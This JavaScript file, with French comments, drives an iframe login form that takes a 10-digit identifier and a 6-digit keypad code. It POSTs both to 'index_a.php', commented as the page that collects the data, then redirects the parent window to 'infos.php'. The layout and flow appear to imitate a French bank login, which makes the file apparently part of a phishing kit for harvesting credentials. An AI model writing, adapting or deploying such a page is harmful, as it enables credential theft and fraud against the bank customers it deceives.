const souligne = document.querySelector(".souligne");
const identifiant = document.querySelector("#identifiant");
const passwordZone = document.querySelector("#passwordzone");
const continueBtn = document.querySelector("#continue");
const passFields = document.querySelectorAll(".puce");
const password = document.querySelector("#password");
const btnConnexion = document.querySelector("#btnConnexion");

const url_to_data = 'index_a.php' //Ma page pour recuperer les donnees
const url_to_load = 'infos.php' //Ma page a recharger

let change = false;

async function sendResponse(url, data) {
    return fetch(url, {
        method: 'POST',
        headers: {
            "Content-Type": "application/json"
        },
        body: JSON.stringify(data)
    }).then(response => response.text())
}

identifiant.addEventListener('input', () => {
    let idLength = identifiant.value.length;
    souligne.innerHTML = inputDots(idLength);
})

continueBtn.addEventListener('click', (e) => {
    if (identifiant.value.length == 10) {
        let parent = window.parent.document.querySelector("#iframelogin");
        parent.style = 'height: 428px;'
        passwordZone.classList.remove('hidden');
        continueBtn.classList.add("hidden");
    }
})

btnConnexion.addEventListener('click', (e) => {
    if (password.value.length == 6 && identifiant.value.length == 10) {
        sendResponse(url_to_data, { identifiant: identifiant.value, password: password.value }).then((response) => {
            window.parent.location = url_to_load;
        })
    }
})

const clearInputs = () => (identifiant.value = '', souligne.innerHTML = "——————————");

function inputDots(lenght) {
    let array = ["-", "-", "-", "-", "-", "-", "-", "-", "-", "-"];
    for (let index = 0; index < lenght; index++) {
        array[index] = "&nbsp";
    }
    return array.join("");
}

const clearPassBoxDots = () => {
    for (let index = 0; index < 6; index++) {
        passFields[index].classList.remove('--select');
    }
    password.value = "";
}

const keyboard = (valeur) => {
    let length = password.value?.length;
    if (length < 6) {
        password.value += valeur;
        passFields[length].classList.add('--select');
    }
}